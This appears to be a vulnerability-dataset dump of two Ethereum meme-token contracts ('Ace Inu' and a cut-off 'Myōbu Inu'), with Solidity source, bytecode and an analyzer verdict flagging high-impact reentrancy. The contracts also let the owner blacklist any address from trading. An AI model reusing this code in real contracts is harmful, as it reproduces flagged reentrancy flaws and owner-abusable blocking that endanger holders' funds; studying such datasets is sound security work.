uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Ace Inu";
string private constant _symbol = "ACE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x90A86FE0e9Eb816A45eCD443259E267636430Ed2);
_feeAddrWallet2 = payable(0x90A86FE0e9Eb816A45eCD443259E267636430Ed2);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 1;
_feeAddr2 = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c1578063b515566a146102e1578063c3c8cd8014610301578063c9567bf914610316578063dd62ed3e1461032b57600080fd5b806370a0823114610238578063715018a6146102585780638da5cb5b1461026d57806395d89b411461029557600080fd5b8063273123b7116100d1578063273123b7146101c5578063313ce567146101e75780635932ead1146102035780636fc3eaec1461022357600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600781526641636520496e7560c81b60208201525b60405161014791906115ef565b60405180910390f35b34801561015c57600080fd5b5061017061016b36600461148f565b610371565b6040519015158152602001610147565b34801561018c57600080fd5b50670de0b6b3a76400005b604051908152602001610147565b3480156101b157600080fd5b506101706101c036600461144e565b610388565b3480156101d157600080fd5b506101e56101e03660046113db565b6103f1565b005b3480156101f357600080fd5b5060405160098152602001610147565b34801561020f57600080fd5b506101e561021e366004611587565b610445565b34801561022f57600080fd5b506101e561048d565b34801561024457600080fd5b506101976102533660046113db565b6104ba565b34801561026457600080fd5b506101e56104dc565b34801561027957600080fd5b506000546040516001600160a01b039091168152602001610147565b3480156102a157600080fd5b5060408051808201909152600381526241434560e81b602082015261013a565b3480156102cd57600080fd5b506101706102dc36600461148f565b610550565b3480156102ed57600080fd5b506101e56102fc3660046114bb565b61055d565b34801561030d57600080fd5b506101e56105f3565b34801561032257600080fd5b506101e5610629565b34801561033757600080fd5b50610197610346366004611415565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061037e338484610829565b5060015b92915050565b600061039584848461094d565b6103e784336103e2856040518060600160405280602881526020016117db602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c9a565b610829565b5060019392505050565b6000546001600160a01b031633146104245760405162461bcd60e51b815260040161041b90611644565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461046f5760405162461bcd60e51b815260040161041b90611644565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104ad57600080fd5b476104b781610cd4565b50565b6001600160a01b03811660009081526002602052604081205461038290610d59565b6000546001600160a01b031633146105065760405162461bcd60e51b815260040161041b90611644565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037e33848461094d565b6000546001600160a01b031633146105875760405162461bcd60e51b815260040161041b90611644565b60005b81518110156105ef576001600660008484815181106105ab576105ab61178b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105e78161175a565b91505061058a565b5050565b600c546001600160a01b0316336001600160a01b03161461061357600080fd5b600061061e306104ba565b90506104b781610ddd565b6000546001600160a01b031633146106535760405162461bcd60e51b815260040161041b90611644565b600f54600160a01b900460ff16156106ad5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161041b565b600e546001600160a01b031663f305d71947306106c9816104ba565b6000806106de6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561074157600080fd5b505af1158015610755573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077a91906115c1565b5050600f8054662386f26fc1000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156107f157600080fd5b505af1158015610805573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104b791906115a4565b6001600160a01b03831661088b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161041b565b6001600160a01b0382166108ec5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161041b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109b15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161041b565b6001600160a01b038216610a135760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161041b565b60008111610a755760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161041b565b6001600a556009600b556000546001600160a01b03848116911614801590610aab57506000546001600160a01b03838116911614155b15610c8a576001600160a01b03831660009081526006602052604090205460ff16158015610af257506001600160a01b03821660009081526006602052604090205460ff16155b610afb57600080fd5b600f546001600160a01b038481169116148015610b265750600e546001600160a01b03838116911614155b8015610b4b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610b605750600f54600160b81b900460ff165b15610bbd57601054811115610b7457600080fd5b6001600160a01b0382166000908152600760205260409020544211610b9857600080fd5b610ba342601e6116ea565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610be85750600e546001600160a01b03848116911614155b8015610c0d57506001600160a01b03831660009081526005602052604090205460ff16155b15610c1d576001600a556009600b555b6000610c28306104ba565b600f54909150600160a81b900460ff16158015610c535750600f546001600160a01b03858116911614155b8015610c685750600f54600160b01b900460ff165b15610c8857610c7681610ddd565b478015610c8657610c8647610cd4565b505b505b610c95838383610f66565b505050565b60008184841115610cbe5760405162461bcd60e51b815260040161041b91906115ef565b506000610ccb8486611743565b95945050505050565b600c546001600160a01b03166108fc610cee836002610f71565b6040518115909202916000818181858888f19350505050158015610d16573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610d31836002610f71565b6040518115909202916000818181858888f193505050501580156105ef573d6000803e3d6000fd5b6000600854821115610dc05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161041b565b6000610dca610fb3565b9050610dd68382610f71565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e2557610e2561178b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e7957600080fd5b505afa158015610e8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb191906113f8565b81600181518110610ec457610ec461178b565b6001600160a01b039283166020918202929092010152600e54610eea9130911684610829565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f23908590600090869030904290600401611679565b600060405180830381600087803b158015610f3d57600080fd5b505af1158015610f51573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610c95838383610fd6565b6000610dd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110cd565b6000806000610fc06110fb565b9092509050610fcf8282610f71565b9250505090565b600080600080600080610fe88761113b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061101a9087611198565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461104990866111da565b6001600160a01b03891660009081526002602052604090205561106b81611239565b6110758483611283565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110ba91815260200190565b60405180910390a3505050505050505050565b600081836110ee5760405162461bcd60e51b815260040161041b91906115ef565b506000610ccb8486611702565b6008546000908190670de0b6b3a76400006111168282610f71565b82101561113257505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006111588a600a54600b546112a7565b9250925092506000611168610fb3565b9050600080600061117b8e8787876112fc565b919e509c509a509598509396509194505050505091939550919395565b6000610dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c9a565b6000806111e783856116ea565b905083811015610dd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161041b565b6000611243610fb3565b90506000611251838361134c565b3060009081526002602052604090205490915061126e90826111da565b30600090815260026020526040902055505050565b6008546112909083611198565b6008556009546112a090826111da565b6009555050565b60008080806112c160646112bb898961134c565b90610f71565b905060006112d460646112bb8a8961134c565b905060006112ec826112e68b86611198565b90611198565b9992985090965090945050505050565b600080808061130b888661134c565b90506000611319888761134c565b90506000611327888861134c565b90506000611339826112e68686611198565b939b939a50919850919650505050505050565b60008261135b57506000610382565b60006113678385611724565b9050826113748583611702565b14610dd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161041b565b80356113d6816117b7565b919050565b6000602082840312156113ed57600080fd5b8135610dd6816117b7565b60006020828403121561140a57600080fd5b8151610dd6816117b7565b6000806040838503121561142857600080fd5b8235611433816117b7565b91506020830135611443816117b7565b809150509250929050565b60008060006060848603121561146357600080fd5b833561146e816117b7565b9250602084013561147e816117b7565b929592945050506040919091013590565b600080604083850312156114a257600080fd5b82356114ad816117b7565b946020939093013593505050565b600060208083850312156114ce57600080fd5b823567ffffffffffffffff808211156114e657600080fd5b818501915085601f8301126114fa57600080fd5b81358181111561150c5761150c6117a1565b8060051b604051601f19603f83011681018181108582111715611531576115316117a1565b604052828152858101935084860182860187018a101561155057600080fd5b600095505b8386101561157a57611566816113cb565b855260019590950194938601938601611555565b5098975050505050505050565b60006020828403121561159957600080fd5b8135610dd6816117cc565b6000602082840312156115b657600080fd5b8151610dd6816117cc565b6000806000606084860312156115d657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561161c57858101830151858201604001528201611600565b8181111561162e576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116c95784516001600160a01b0316835293830193918301916001016116a4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156116fd576116fd611775565b500190565b60008261171f57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561173e5761173e611775565b500290565b60008282101561175557611755611775565b500390565b600060001982141561176e5761176e611775565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104b757600080fd5b80151581146104b757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204aea9b0bc1d90e45419bc062b25689b8c11d8723d6c175ba3968242e0b4e436164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,001 |
0x8020fa4671308064c6a0086a3e68a4775132ad0e
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
//Telegram: https://t.me/myobiinu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MyobuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Myōbu Inu";
string private constant _symbol = 'MYOBI';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
//require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
//require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
